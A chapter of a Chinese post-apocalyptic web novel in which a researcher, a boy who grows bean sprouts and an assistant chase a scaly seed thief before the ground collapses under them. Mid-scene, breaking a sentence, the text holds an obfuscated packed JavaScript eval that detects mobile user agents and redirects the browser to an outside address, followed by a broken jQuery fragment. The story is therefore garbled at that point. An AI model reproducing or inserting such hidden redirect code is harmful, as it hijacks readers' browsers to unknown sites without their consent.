距离等等来到实验室已经过去了一段时间,陈结愿一直都在观察着他的行动。
他的行为并没有任何反常的地方,每天除了种菜、给陈结愿打下手之外基本上没有其他的活动,而且还一直黏在陈结愿的身边,根本不需要她特意去留意。
唯一值得注意的地方可能就是他实在是太喜欢喝水了。
但这也不是什么大问题,毕竟纯净的水源确实难得,等等又没有喝很多,只是每时每刻都要在手里揣一杯水罢了。
“啊,陈姐你看!这样是不是就叫长成豆芽了?”
陈结愿被助理的呼唤打断思绪,放下手里的工作走过去,等等起身给她让出一个位置,有些腼腆地用手抹去脸上的泥土,“原来我们种的是豆芽啊。”
她目光所及之处是一片小小的鹅黄,伸出手指轻轻触碰就把它们压塌了,把手挪开,豆芽又倔强地挺立起来。
淡淡的土腥味飘向鼻尖,陈结愿睫毛颤了颤。
哪怕只有些许,这也是末世中的光亮了。
当晚,等等成为了研究所的主角。
几个身形彪悍的大汉嘴里叼着豆芽迟迟不肯咽下,在等等的四周围城一堵密不透风的墙,抹一把鼻涕抹一把泪地挨个拥抱他,嘴里呜哩哇啦说着什么。
等等嘴角止不住地抽搐,一个劲地往陈结愿那边扭头,像是想要求救,可每次都是“姐姐”两个字还没喊出来就被其他人的话堵了回去。
等等能顺利融入这里是好事,陈结愿不打算阻止他们,转身走向梁所长身边。
她和梁所长碰了下杯,坐在他旁边,“你们以前经常吃豆芽吧。”
梁所长笑笑,“在出事之前,豆芽是我最看不上的菜了。我一直觉得这菜太淡了,吃起来怪无聊的,”他揉揉眼,自欺欺人地抹去泪点,“没想到现在只是吃上几根都让人那么高兴。”
梁所长拍拍她的肩,“我有一个想法。”
陈结愿放下手里的杯子,目光转向梁所长,示意他继续说下去。
“我打算这次让你们实验室去出外勤,你们带一兜种子,在沿途种下一些……万一有哪个地方就长出来了呢。”
陈结愿低眉思索了一会,这确实可行。
研究所毕竟地方有限,没有大片的地交给等等发挥,种出来的豆芽就连研究所内部的人员分起来都不够。
如果去外面种,就可以让等等在更加广阔的土地上实验,哪怕只在一块地上成功,也足够养活一方人了。
她点头,“我会去问问等等的。”
此时等等也终于冲破了人墙,似乎在寻找陈结愿,瘦弱的身躯四处乱转,基本上每走两步就要撞上一个人。
陈结愿注意到他,出声呼唤,“等等,我在这边。”
等等一下子就锁定了她的位置,脸上的无措一扫而空,连跑带颠地靠近过来。
梁所长轻笑着摇摇头,识趣地起身离开。
陈结愿扶着等等坐下,“我和梁所长刚才正好聊到你。”
陈结愿把刚才和梁所长说的话大致传达给他,本来以为他好不容易找到一个庇护所,应该会稍微犹豫一下,等等却轻轻握上她的手。
等等仍然低着头,语气听不出起伏,“姐姐会去吗?在研究所里对我最亲切的就是姐姐了,姐姐在哪我在哪。”
陈结愿第一次被人这样对待,也不知道该有什么反应,只得生硬地回了句“嗯。”
等等立马喜笑颜开,“那我也愿意去!”
助力幽幽开口:“陈姐你怎么不问问我的意见。”
陈结愿还没说话,等等就抢着回答道:“我不像你们这么熟,所以姐姐才会顾及到我的感受吧。”
研究所顿时茶香四溢。
助理“啧”一声,翻着个白眼离开了。
……
荒凉,不管他们走到哪里都是一片荒凉。
高楼大厦表面都被覆盖上了一层黄土,黄沙盘旋在城市上空,整座城市从远处看去就像是被掩埋在沙尘之下。
陈结愿带领他们走进一家超市,打算找找有没有派的上用场的物资。
这里已经没有什么东西了,食物早就都过了保质期,摆放纯净水的架子上也毫不意外地空无一物。
陈结愿轻叹一口气,打算离开,却听见角落处传来窸窸窣窣的响动。
她示意两人噤声,放缓脚步朝声源处走去。
倏然间,一道人影从角落窜出,朝等等奔去。
不好!等等手里拿着种子!
陈结愿还是晚了一步,等等手中装种子的袋子被夺走,那人还十分恶劣地狠狠将等等撞倒在地。
她脚步一顿,可现在来不及关心等等的状况,陈结愿拔出枪,“你们可以慢点跟上我,我先去把种子抢回来!”
收到两人的回应,陈结愿拔腿追了出去。
那人身形高大笨重,跑得却极快,哪怕陈结愿从小接受专业训练都没办法轻易跟上。
陈结愿周遭的景色迅速变化,不一会儿现代化的建筑就全都消失了,取而代之的是一片又一片砖瓦垒起来的自建平房。
那身影穿进一片密密麻麻的平房,眼见就要不见踪影,陈结愿加快速度跟了上去。
那身影忽然猛地止住步子,站在原地不动了。
他们前面已经没有路了,他再往前走一步就会掉下山崖。
陈结愿也跟着停下脚步,目光凛冽,“把你手里的东西交出来。”她把枪抵上那人的后背,“里面没有食物,放手。”
那人没回应,缓缓转过了身。
那人脸上铺满鳞片,基本看不出原来的五官,只露出一对宝蓝色的眼眸。
陈结愿瞳孔骤然缩小,大脑“嗡”地一声断了线,冷汗瞬间浸透后背。
是鲽?不,不对,这分明是个人。
可是人怎么会长成这样?!
心悸吵得陈结愿无法正常思考,握着枪的手都有些打滑。
助理才刚带着等等堪堪追上,看到对峙的两人不由得后退了几步,想拽着等等一起躲起来却没成功。
等等一把推开他,自顾自向前走去。
助理慌了神,“你别过去啊,那里有人!”他定睛一看,在看清那人的脸的瞬间倒吸一口冷气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181264|180983||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“啊啊啊啊啊啊快回来!”
助理急得在原地直喊他的名字,等等充耳不闻,脚下的动作没有丝毫停顿,继续向前。
陈结愿没有多余的精力去管身后的两人,又不愿意让他们陷入危险,心一横就要扣下扳机。
突然,陈结愿感到脚底一阵地动山摇,一道巨大的裂缝出现在他们脚下。
陈结愿猛地回头,等等稳住身形,还在向她这边走。
她嗓音沙哑得不像话,“等等……你先不要过来,后退,快一点。”
等等闻言后退一步,裂痕刹那间分裂出一片大大小小的分支,向四周迅速延伸。
陈结愿整个人僵在原地,耳边的一切声音都消失了,陷入死一般的沉寂。
一声带着疑问的“姐姐?”打破了凝固的时间,陈结愿思绪在一瞬间回笼,身体比脑子先做出判断,一把将等等揽入怀中。
脚下的地面发出“轰隆隆”的巨响,一开始还只是脱落小块小块的土,几秒过后,陈结愿的身形不受控制向后倒去。
地面塌陷了。
陈结愿双臂收紧,风打在她耳中的鼓膜上,疼痛很快蔓延至全身。
她能清晰地感受到自己的意识正在变得模糊,眼前被一片血红色覆盖,周遭的景色都开始变得扭曲起来。
过往的人生一幕幕在她眼前浮现,像是在播放一部倒序的电影。
在电影的最后,陈结愿恍惚间又看到了那位蓝发的女士,她被女士抱在怀中,温热的呼吸轻拍在她脸上。
只是这次蓝发女士身旁多了一个人。
陈结愿感到一种莫名的熟悉,酸意涌上鼻尖。
低沉而又温柔的男声被卷进风中,就连暴力的风都慢了下来。
“小愿,我的女儿。”
“我很抱歉,我不知道怎么才能保护你……我只能祈祷你永远都不会被他们找到。”
“你要平平安安地活下去。”
几滴液体落在陈结愿的眼睑,又顺着她的眼角滚落。
爸爸,是爸爸吗?
眼前的人冒出一阵强光,激得陈结愿闭上了眼。
她意识到那身影又要消散,急忙伸出手挽留。
回应她的却是一双带着冷意的、纤细的手。
陈结愿睫毛轻颤,缓缓睁开眼,眼前还是一片模糊。
“等等……?”
等等听见她回应,连忙把手握得更紧了些,“是我!姐姐你没事吧!”
陈结愿借着他的力坐起身,全身上下都传来马上要散架般的疼痛,不由得小声吸气。
她缓了缓,再次睁开眼后视线清晰了许多。
等等还在她身边啜泣,“都怪我……我要是早点意识到那里要塌陷的话就好了,居然让姐姐受了那么重的伤……”
陈结愿却没有心情安慰他,她皱眉,打断等等。
“这里是哪?”
陈结愿身下是柔软的床,耳边传来阵阵鸟鸣,饭菜的香味顺着空气飘进鼻中。
窗外没有漫天的黄沙遮挡,阳光明媚,透过玻璃洒在屋内。
这里……是哪?